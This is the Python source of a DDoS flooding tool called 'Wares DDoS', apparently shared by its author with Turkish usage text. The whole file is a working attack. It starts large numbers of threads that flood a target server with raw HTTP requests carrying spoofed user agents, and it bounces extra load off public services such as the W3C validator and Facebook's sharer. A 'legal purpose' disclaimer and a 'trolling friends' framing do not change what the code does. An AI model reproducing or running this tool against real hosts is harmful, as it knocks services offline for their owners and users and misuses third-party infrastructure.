text: #!/usr/bin/python3
  # -*- coding: utf-8 -*-
  
  # python 3.3.2+ Wares DDoS
  # by Sqwares#4767
  # only for legal purpose
  
  
  from queue import Queue
  from optparse import OptionParser
  import time,sys,socket,threading,logging,urllib.request,random
  
  def user_agent():
  	global uagent
  	uagent=[]
  	uagent.append("Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14")
  	uagent.append("Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:26.0) Gecko/20100101 Firefox/26.0")
  	uagent.append("Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3")
  	uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")
  	uagent.append("Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7")
  	uagent.append("Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")
  	uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1")
  	uagent.append("Mozilla/5.0 (Linux; Android 6.0.1; Nexus 7 Build/MOB30X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3765.0 Safari/537.36 X-Middleton/1")
  	uagent.append("Mozilla/5.0 (Linux; Android 9; SM-A705FN) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Mobile Safari/537.36 X-Middleton/1")
  	uagent.append("Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Thunderbird/45.8.0")
  	uagent.append("Mozilla/5.0 (iPhone; CPU iPhone OS 13_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 [FBAN/FBIOS;FBDV/iPhone10,2;FBMD/iPhone;FBSN/iOS;FBSV/13.6.1;FBSS/3;FBID/phone;FBLC/en_GB;FBOP/5];FBNV/1")
  	uagent.append("Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 75215")
  	uagent.append("Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) 67890")
  	uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50")
  	uagent.append("Mozilla/5.0 (compatible; Discordbot/2.0; +https://discordapp.com) X-Middleton/1")
  	uagent.append("Mozilla/4.0 (compatible; MSIE 6.0; ) Opera/UCWEB7.0.2.37/28/999")
  	uagent.append("Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0; HTC; Titan)")
  	uagent.append("WhatsApp/2.21.10.16 A X-Middleton/1")
  	uagent.append("Mozilla/5.0 (compatible; Discordbot/2.0; +https://discordapp.com) X-Middleton/1")
  	uagent.append("Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US) AppEngine-Google; (+http://code.google.com/appengine; appid: s~virustotalcloud) X-Middleton/1")
  	uagent.append("Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 75215")
  	uagent.append("Mozilla/5.0 (QtEmbedded; U; Linux; C) AppleWebKit/533.3 (KHTML, like Gecko) Qt/4.7.0 Safari/533.3")
  	uagent.append("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10")
  	uagent.append("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.698.0 Safari/534.24")
  	uagent.append("Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; de-de) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16")
  	return(uagent)
  
  
  def my_bots():
  	global bots
  	bots=[]
  	bots.append("http://validator.w3.org/check?uri=")
  	bots.append("http://www.facebook.com/sharer/sharer.php?u=")
  	return(bots)
  
  
  def bot_hammering(url):
  	try:
  		while True:
  			req = urllib.request.urlopen(urllib.request.Request(url,headers={'User-Agent': random.choice(uagent)}))
  			print("\033[94mbot is hammering...\033[0m")
  			time.sleep(.1)
  	except:
  		time.sleep(.1)
  
  
  def down_it(item):
  	try:
  		while True:
  			packet = str("GET / HTTP/1.1\nHost: "+host+"\n\n User-Agent: "+random.choice(uagent)+"\n"+data).encode('utf-8')
  			s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  			s.connect((host,int(port)))
  			if s.sendto( packet, (host, int(port)) ):
  				s.shutdown(1)
  				print ("\033[92m",time.ctime(time.time()),"\033[0m \033[94m <--packet sent! WaresDDoS--> \033[0m")
  			else:
  				s.shutdown(1)
  				print("\033[91mshut<->down\033[0m")
  			time.sleep(.1)
  	except socket.error as e:
  		print("\033[91mno Modem Belki Cokmus Olabilir\033[0m")
  		#print("\033[91m",e,"\033[0m")
  		time.sleep(.1)
  
  
  def dos():
  	while True:
  		item = q.get()
  		down_it(item)
  		q.task_done()
  
  
  def dos2():
  	while True:
  		item=w.get()
  		bot_hammering(random.choice(bots)+"http://"+host)
  		w.task_done()
  
  
  def usage():
  	print (''' \033[92m	
  ▄▄▌ ▐ ▄▌ ▄▄▄· ▄▄▄  ▄▄▄ ..▄▄ ·     ·▄▄▄▄  ·▄▄▄▄        .▄▄ · 
  ██· █▌▐█▐█ ▀█ ▀▄ █·▀▄.▀·▐█ ▀.     ██▪ ██ ██▪ ██ ▪     ▐█ ▀. 
  ██▪▐█▐▐▌▄█▀▀█ ▐▀▀▄ ▐▀▀▪▄▄▀▀▀█▄    ▐█· ▐█▌▐█· ▐█▌ ▄█▀▄ ▄▀▀▀█▄
  ▐█▌██▐█▌▐█ ▪▐▌▐█•█▌▐█▄▄▌▐█▄▪▐█    ██. ██ ██. ██ ▐█▌.▐▌▐█▄▪▐█
   ▀▀▀▀ ▀▪ ▀  ▀ .▀  ▀ ▀▀▀  ▀▀▀▀     ▀▀▀▀▀• ▀▀▀▀▀•  ▀█▄▀▪ ▀▀▀▀ 
  	Bu Tool Sqwares Tarafından Yazılmistir Bu tool sadece arkadaslarinizi trolleyebilceginiz bir tooldur. \n
  	usage : python3 WaresDDoS.py [-s] [-p] [-t]
  	-h : help
  	-s : server ip
  	-p : port default 80
  	-t : turbo default 135 \033[0m''')
  	sys.exit()
  
  
  def get_parameters():
  	global host
  	global port
  	global thr
  	global item
  	optp = OptionParser(add_help_option=False,epilog="Hammers")
  	optp.add_option("-q","--quiet", help="set logging to ERROR",action="store_const", dest="loglevel",const=logging.ERROR, default=logging.INFO)
  	optp.add_option("-s","--server", dest="host",help="attack to server ip -s ip")
  	optp.add_option("-p","--port",type="int",dest="port",help="-p 80 default 80")
  	optp.add_option("-t","--turbo",type="int",dest="turbo",help="default 135 -t 135")
  	optp.add_option("-h","--help",dest="help",action='store_true',help="help you")
  	opts, args = optp.parse_args()
  	logging.basicConfig(level=opts.loglevel,format='%(levelname)-8s %(message)s')
  	if opts.help:
  		usage()
  	if opts.host is not None:
  		host = opts.host
  	else:
  		usage()
  	if opts.port is None:
  		port = 80
  	else:
  		port = opts.port
  	if opts.turbo is None:
  		thr = 135
  	else:
  		thr = opts.turbo
  
  
  # reading headers
  global data
  headers = open("headers.txt", "r")
  data = headers.read()
  headers.close()
  #task queue are q,w
  q = Queue()
  w = Queue()
  
  
  if __name__ == '__main__':
  	if len(sys.argv) < 2:
  		usage()
  	get_parameters()
  	print("\033[92m",host," port: ",str(port)," turbo: ",str(thr),"\033[0m")
  	print("\033[94mLutfen Bekleyin...\033[0m")
  	user_agent()
  	my_bots()
  	time.sleep(5)
  	try:
  		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  		s.connect((host,int(port)))
  		s.settimeout(1)
  	except socket.error as e:
  		print("\033[91mcheck server ip and port\033[0m")
  		usage()
  	while True:
  		for i in range(int(thr)):
  			t = threading.Thread(target=dos)
  			t.daemon = True  # if thread is exist, it dies
  			t.start()
  			t2 = threading.Thread(target=dos2)
  			t2.daemon = True  # if thread is exist, it dies
  			t2.start()
  		start = time.time()
  		#tasking
  		item = 0
  		while True:
  			if (item>1800): # for no memory crash
  				item=0
  				time.sleep(.1)
  			item = item + 1
  			q.put(item)
  			w.put(item)
  		q.join()
  		w.join()
  